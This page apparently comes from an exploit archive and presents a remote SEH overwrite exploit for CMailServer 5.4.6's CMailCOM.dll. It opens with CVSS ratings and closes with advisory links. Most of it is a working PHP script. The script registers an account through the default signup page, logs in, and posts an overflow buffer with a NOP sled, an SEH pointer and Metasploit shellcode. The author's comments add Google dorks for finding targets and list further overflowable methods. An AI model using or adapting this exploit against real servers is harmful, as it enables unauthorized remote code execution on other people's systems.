CMailServer 5.4.6 (CMailCOM.dll) Remote SEH Overwrite Exploit

2009.08.11
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

<?php /* CMailServer 5.4.6 mvmail.asp/CMailCOM.dll remote seh overwrite proof of concept exploit by Nine:Situations:Group::bruiser our site: http://retrogod.altervista.org/ software site: http://www.youngzsoft.net/cmailserver/ Google dorks: intitle:"Mail Server CMailServer WebMail" intitle:"Mail Server CMailServer WebMail 5.4.6" Some notes: This server provides a IIS/webmail interface and a registered component vulnerable to multiple buffer overflows, among the others, the CMailCom.POP3 class with CLSID 6971D9B8-B53E-4C25-A414-76199768A592. This class is called by various ASP scripts inside the main folder... I found this clear vector, look mwmail.asp , lines 25-35: ... Set objPOP3 = CreateObject("CMailCOM.POP3.1") objPOP3.Login Session("User"), Session("Pass") Session("LoginSuccess") = objPOP3.LoginSuccess If Session("LoginSuccess") = 1 Then set rs=Server.createobject("adodb.recordset") rs.open "mailfolder",Conn,1,3 i = 0 arrString = Split(Request("indexOfMail"), ";", -1, 1) While Len(arrString(i)) <> 0 strUID = arrString(i) objPOP3.MoveToFolder strUID ' <---------------- bof ... By attaching olly to the w3wp.exe sub-process you will see the usual dump with ecx and eip owned, with a buffer of approxymately 13000 chars. Exploitation is post-auth but you can have a user account by simply browsing the signup.asp page, enabled by default. Calc.exe will run with NETWORK SERVICE privilege, check tasks. Note that 4-5 failed exploit attempts may result in IIS "Service Unavailiable" message. Other attacks are possible, see a list of locally overflowable methods: CreateUserPath, Logout, DeleteMailByUID, MoveToInbox, MoveToFolder, DeleteMailEx, GetMailDataEx, SetReplySign, SetForwardSign, SetReadSign. Note also that remotely there's some kind of validation (ex. you can not have a username with a length of more than 4000 chars which could be used instead to overflow the CreateUserPath method and you cannot overflow ex. through the strUID argument) which reduces a lot the remote vectors. However, as you can see there's no filter on "indexOfMail" one. Other notes: CMailCOM.SMTP class with CLSID 0609792F-AB56-4CB6-8909-19CDF72CB2A0 is also vulnerable in the following methods: AddAttach, SetSubject, SetBcc, SetBody, SetCc, SetFrom, SetTo, SetFromUID */ error_reporting(7);$host=$argv[1];$path=$argv[2]; $argv[3] ? $port = (int) $argv[3] : $port = 80; print ("CMailServer 5.4.6 mvmail.asp/CMailCOM.dll remote seh overwrite\n". "exploit\n". "by Nine:Situations:Group::bookoo\n"); $argv[2] ? print("attackin'...\n") : die ("syntax: php ".$argv[0]." [host] [path] [[port]]\n". "example: php ".$argv[0]." 192.168.0.1 /mail/ \n". " '' php ".$argv[0]." 192.168.0.1 / 81 \n"); $url = "http://$host:$port"; $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false; $win ? dl("php_curl.dll") : dl("php_curl.so"); //borrowed from bookoo function send($packet,$out) { global $url, $data; if (!extension_loaded("curl"){ die("you need the curl extesion loaded to run..."); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $packet); $data = curl_exec($ch); if (curl_errno($ch)) { print curl_error($ch)."\n"; } else { curl_close($ch); } if ($out) print($data."\n"); } $agent="Mozilla/5.0 (Windows; U; Windows NT 5.2; it; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15"; //subscribe $usr="bookoo";$pwd="password";//new usr username & password, change $d ="Signup=1&Account=$usr&Pass=$pwd&RePass=$pwd&UserName=&Comment=User&POP3Mail=%40ieqowieoqw.com"; $h ="POST ".$path."signup.asp HTTP/1.0\r\nHost: $host\r\nUser-Agent: $agent\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($d)."\r\nConnection: Close\r\n\r\n$d"; send($h,0); $tmp=explode("Set-Cookie: ",$data); for ($i=1; $i<count($tmp);$i++){ $tmpi=explode(" ",$tmp[$i]);$sess=$tmpi[0];$pos=strpos($sess, "ASPSESSIONID"); if ($pos === true) break; echo $sess."\n";} //login $d ="User=$usr&Pass=$pwd&SaveUserPass=on"; $h ="POST ".$path."login.asp HTTP/1.0\r\nHost: $host\r\nUser-Agent: $agent\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($d)."\r\nCookie: $sess SaveUserPass=1; Pass=$pwd; User=$usr;\r\nConnection: Close\r\n\r\n$d"; send($h,0); //attack //bad chars: \x3b \x2f # win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=Pex http://metasploit.com $shellcode = "\x2b\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xcf". "\x67\x5f\x11\x83\xee\xfc\xe2\xf4\x33\x8f\x1b\x11\xcf\x67\xd4\x54". "\xf3\xec\x23\x14\xb7\x66\xb0\x9a\x80\x7f\xd4\x4e\xef\x66\xb4\x58". "\x44\x53\xd4\x10\x21\x56\x9f\x88\x63\xe3\x9f\x65\xc8\xa6\x95\x1c". "\xce\xa5\xb4\xe5\xf4\x33\x7b\x15\xba\x82\xd4\x4e\xeb\x66\xb4\x77". "\x44\x6b\x14\x9a\x90\x7b\x5e\xfa\x44\x7b\xd4\x10\x24\xee\x03\x35". "\xcb\xa4\x6e\xd1\xab\xec\x1f\x21\x4a\xa7\x27\x1d\x44\x27\x53\x9a". "\xbf\x7b\xf2\x9a\xa7\x6f\xb4\x18\x44\xe7\xef\x11\xcf\x67\xd4\x79". "\xf3\x38\x6e\xe7\xaf\x31\xd6\xe9\x4c\xa7\x24\x41\xa7\x97\xd5\x15". "\x90\x0f\xc7\xef\x45\x69\x08\xee\x28\x04\x3e\x7d\xac\x67\x5f\x11"; $jmp_short="\xeb\x10\x90\x90"; $seh="\xf1\xda\x02\x10"; #0x1002DAF1 cmailcom.dll / pop ecx - pop - ret $nop=str_repeat("\x90",12648); $bof= $nop . $jmp_short. $seh . str_repeat("\x90",24). $shellcode ; $d="sel=aaaa&ToFolder=4&indexOfMail=".urlencode($bof)."&mailcount=1&pages="; $h ="POST ".$path."mvmail.asp HTTP/1.0\r\nHost: $host\r\nUser-Agent: $agent\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($d)."\r\nCookie: $sess SaveUserPass=1; Pass=$pwd; User=$usr;\r\nConnection: Close\r\n\r\n$d"; send($h,1); ?>

References:

http://xforce.iss.net/xforce/xfdb/43594
http://www.securityfocus.com/bid/30098
http://www.milw0rm.com/exploits/6012
http://secunia.com/advisories/30940
http://osvdb.org/46750


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